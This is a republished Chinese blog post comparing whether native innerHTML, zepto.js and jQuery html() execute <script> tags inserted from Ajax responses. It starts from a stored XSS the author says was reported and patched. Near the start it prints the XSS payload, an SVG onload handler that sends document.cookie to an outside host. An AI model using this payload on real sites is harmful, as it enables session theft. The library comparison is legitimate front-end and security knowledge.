HTML5中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

HTML5中国 首页 应用推荐 查看内容

html和innerHTML的小坑

2016-9-6 09:24| 发布者: Hyukoh| 查看: 732| 评论: 0|原作者: 天天の記事簿|来自: 天天の記事簿

摘要: jQuery 是最常用的一个 JavaScript 库,其中的 element.html() 是一个将 HTML 代码插入某元素的方法,而 element.innerHTML 是 JavaScript 原生的插入方法。

  jQuery 是最常用的一个 JavaScript 库,其中的 element.html() 是一个将 HTML 代码插入某元素的方法,而 element.innerHTML 是 JavaScript 原生的插入方法。


  以前,因为没有使用的需求,所以一直单纯地认为 jQuery 的 element.html() 只是对 element.innerHTML 的一个简单封装,但是昨天,发现事情并没有这么简单。


  起因


 小伙伴在某企鹅网站上发现一个存储型 XSS 漏洞,因为他对前端不了解,所以叫我来帮忙绕过滤。该页面不仅会对输入内容进行过滤,并且有最高 50 字符的字数限制,虽然没有了解到完整的过滤规则,但是经过简单的测试发现过滤比较鸡肋,连 <script> 标签都能成功插入。但是比较坑的是,每个企鹅账号仅能提交 15 条信息,所以无法进行大量尝试。


页面不是加载完成后就能直接触发 XSS 漏洞的,而是点击评论按钮后,页面通过 Ajax 请求评论信息并插入 DOM,若评论信息中包含 XSS 代码,才会最终触发。


提交漏洞后企鹅快速响应,现在洞已经补上了,就公布一下当时可以利用的代码。

<svg/onload="window.location.href='http://xss.domain/?id='+document.cookie">

嗯,后面的内容其实和日站没啥关系了,都是对 element.innerHTML 和 html() 进行的测试对比。

 

经过


原生 JavaScript 测试

先试试原生 JavaScript 中的 element.innerHTML。

<!-- index.html -->
<html>
<head></head>
<body>
<div id="content"></div>
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "index.txt");
xhr.send();
 
xhr.addEventListener("readystatechange", function(res){
    if (res.target.readyState === 4 && res.target.status === 200) {
        document.getElementById("content").innerHTML = res.target.responseText;
    }
});
</script>
</body>
</html>
 
 
<!-- index.txt -->
<script>
alert('index.txt');
</script>

写好剧本:


1、打开 index.html(需要 HTTP Server);

2、页面自动发起 Ajax 请求,获取 index.txt 中的内容并加入 div 中;

3、最后自动执行 <script> 标签中的内容,即 alert('index.txt');,弹出 “index.txt” 字样的对话框。


打开运行,这和剧本写得不一样!

没有任何反应,虽然成功加载了 index.txt 中的 <script>alert('index.txt');</script>,也添加到了 DOM 中,但是就如同写入的是文本一样,完全不执行任何代码。


Google 一下,你就知道:


  在 window.onload 触发前,通过 element.innerHTML 写入的脚本会正常执行,但是 window.onload 已经被触发后再加入脚本,就不会再自动执行了。


  怎么办,正常情况下可以直接使用 eval() 执行脚本,虽然不怎么安全,但也是一种解决方法。但是在日站这种非正常情况下,就得另辟蹊径了。


  别忘了,还有一个方法,是 document.write(),这个方法没有 element.innerHTML 好用,因为前者每次都会重写整个文档流,引起整个页面的重流,但后者可以对某个具体的元素的内容进行更改,也就不会重流整个页面了。虽然这个方法可以执行脚本,但是后果就是整个页面只剩下写入的内容,其他包括 、 统统都没了。所以想要不破坏页面,还是少用它吧。


  zepto.js 测试


  打开页面应该做的第一件事应该是右键查看源代码。——沃兹吉·硕得


  本人贯彻上述真理,当然在第一时间了解到有漏洞的页面是使用了 zepto.js 库。

  zepto.js 是一个轻量级的类 jQuery 库,其也是使用 $ 符号,而且很多功能实现与 jQuery 一致。OK,把代码改吧改吧,用 $.ajax获取脚本看看会不会执行。

  修改后的代码长这样:

<!-- index.html -->
<html>
<head>
  <script src="zepto.js"></script>
</head>
<body>
<div id="content"></div>
<script>
$.ajax({
  type: "GET",
  url: "index.txt",
  success: function (data) {
    $("#content").html(data);
  }
});
</script>
</body>
</html>
 
 
<!-- index.txt -->
<script>
alert('index.txt');
</script>


  不同于使用原生 JavaScript 的没有任何反应,zepto 给足了面子,立刻弹出了 “index.txt” 字样的对话框。

  哟西,内联的 JavaScript 代码执行成功,那引用外部的脚本那也是可以的吧?

<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">


      把 index.txt 修改为上面的内容,再次请求…

  说好的请求外部资源呢?为什么就只有这 3 个文件的请求?我的 1.9.0 版本的 jquery.js 呢?


zepto.js 测试结果是:

zepto.js 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,但是前提是 <script> 标签不是用于请求外部文件,而是内联 JavaScript 代码。


jQuery 测试


既然类 jQuery 的 zepto.js 不能请求外部文件,所以 jQuery 也不能么?带着这个疑问,我又测试了一下 jQuery,结果却有些不同。这里使用最新释出的 jQuery 3.1.0。

若是内联的 JavaScript 代码,可以正常执行,这点毫无疑问。

但是把 index.txt 再次改成下面那样后,竟然成功请求了这个文件。

<!-- index.txt -->
<script src="http://libs.baidu.com/jquery/1.9.0/jquery.js">


经过测试,连跨域都可以成功加载,那么同源时,一样能加载文件。


jQuery 测试结果是:

jQuery 通过 Ajax 获得的包含 <script> 标签的字符串在加入 DOM 时会被执行,若 <script> 标签用于请求外部文件,也可以正常请求。


原文链接:http://blog.ttionya.com/article-1570.html

来源作者:天天の記事簿


鲜花

握手

雷人

路过

鸡蛋
更多

相关阅读

最新评论

HTML5中国微信

小黑屋|关于我们|HTML5论坛|友情链接|手机版|HTML5中国 ( 京ICP备11006447号 京公网安备:11010802018489号  

GMT+8, 2017-6-27 09:56

Powered by Discuz! X3.2

© 2001-2013 Comsenz Inc.

返回顶部